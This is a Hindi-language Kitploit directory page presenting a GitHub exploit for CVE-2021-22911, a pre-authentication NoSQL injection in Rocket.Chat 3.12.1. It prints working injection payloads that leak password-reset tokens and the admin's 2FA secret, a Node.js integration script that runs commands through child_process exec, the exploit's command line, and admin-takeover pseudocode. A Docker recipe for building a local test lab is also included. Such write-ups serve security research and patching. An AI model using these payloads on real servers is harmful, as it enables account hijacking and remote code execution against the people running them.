Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-22911 — Pre-Auth Blind NoSQL Injection जो Rocket Chat 3.12.1 में Remote Code Execution की ओर ले जाता है | Kitploit
उपकरण/GitHubGitHub/csenox/cve-2021-22911
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूल
GitHubcsenox/cve-2021-22911

CVE-2021-22911

Pre-Auth Blind NoSQL Injection जो Rocket Chat 3.12.1 में Remote Code Execution की ओर ले जाता है

रिपॉजिटरी देखें
61813 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-22911

Rocket Chat 3.12.1 में प्री-ऑथ ब्लाइंड NoSQL इंजेक्शन जो रिमोट कोड निष्पादन (Remote Code Execution) की ओर ले जाता है

  • getPasswordPolicy विधि NoSQL इंजेक्शन हमलों के लिए कमजोर है और इसके लिए प्रमाणीकरण/प्राधिकरण की आवश्यकता नहीं होती है। इसका उपयोग पासवर्ड रीसेट टोकन लीक करके खातों को हाईजैक करने के लिए किया जा सकता है। किसी व्यवस्थापक (admin) खाते को हाईजैक करने से रिमोट कोड निष्पादन होता है।

स्पष्टीकरण

  1. उपयोगकर्ता के खाते को हाईजैक करना ( बिना प्रमाणीकरण )
  • getPasswordPolicy एंडपॉइंट में पासवर्ड रीसेट token पैरामीटर में NoSQL इंजेक्शन है, जो json ऑब्जेक्ट लेता है जिससे हम $regex ऑपरेटर का उपयोग कर सकते हैं। जिसका उपयोग हम रीसेट टोकन प्राप्त करने के लिए ब्लाइंड NoSQL इंजेक्शन करने में करते हैं।
  1. व्यवस्थापक (admin) तक विशेषाधिकार वृद्धि ( प्रमाणित )
  • तो व्यवस्थापक उपयोगकर्ता सबसे अधिक संभावना 2fa द्वारा सुरक्षित होता है। इसलिए भले ही हम (1) के माध्यम से व्यवस्थापक का पासवर्ड बदल दें, लॉगिन पर 2fa कोड मांगा जाएगा।

  • users.list एपीआई एंडपॉइंट query पैरामीटर लेता है जो NoSQL इंजेक्शन के लिए कमजोर है। हम एक त्रुटि उत्पन्न करके भी डेटा प्राप्त कर सकते हैं।

  • हम व्यवस्थापक का 2fa सीक्रेट प्राप्त करने के लिए निम्नलिखित query चलाते हैं : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • फिर हम केवल (1) करके व्यवस्थापक का पासवर्ड रीसेट करते हैं और 2fa सीक्रेट का उपयोग करके कोड जनरेट करते हैं जिससे हम लॉगिन कर सकते हैं।

  • अद्यतन : आप रीसेट टोकन भी उसी तरीके से प्राप्त कर सकते हैं जिस तरह आपने 2fa सीक्रेट प्राप्त किया था : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. RCE ( प्रमाणित - व्यवस्थापक )
  • Rocket.Chat में Integrations नामक एक सुविधा है जो इनकमिंग और आउटगोइंग वेब हुक बनाने की अनुमति देती है। इन वेब हुक से संबद्ध स्क्रिप्ट हो सकती हैं जो वेब हुक ट्रिगर होने पर निष्पादित होती हैं।
  • हम निम्नलिखित स्क्रिप्ट के साथ एक इंटीग्रेशन बनाते हैं :
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • फिर हम केवल वेब हुक को ट्रिगर करते हैं और rce प्राप्त करते हैं :)

उपयोग

  • आपको एक कम विशेषाधिकार वाले उपयोगकर्ता के ईमेल की आवश्यकता होगी जिसमें 2fa सेटअप न हो। ( -u )
  • आपको व्यवस्थापक का ईमेल भी जानना होगा। यदि व्यवस्थापक 2fa से सुरक्षित है तो कोई समस्या नहीं है। ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

वातावरण

  • Rocket Chat 3.12.1 पर परीक्षण किया गया
  • Docker का उपयोग करके अपना स्वयं का परीक्षण वातावरण बनाना :
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • पासवर्ड पॉलिसी सक्षम करें
  • व्यवस्थापक के लिए 2FA सक्षम करें
  • एक सामान्य उपयोगकर्ता पंजीकृत करें।

नोट: यदि आप व्यवस्थापक को 2FA से सुरक्षित नहीं रखना चाहते हैं तो आप निम्न कार्य कर सकते हैं।

  1. पासवर्ड भूल गए मेल भेजें
  2. व्यवस्थापक के लिए रीसेट टोकन प्राप्त करें
  3. प्राप्त रीसेट टोकन का उपयोग करके पासवर्ड बदलें
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

क्रेडिट

  • https://hackerone.com/reports/1130721 ( sonar source )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
टूल डाउनलोड करें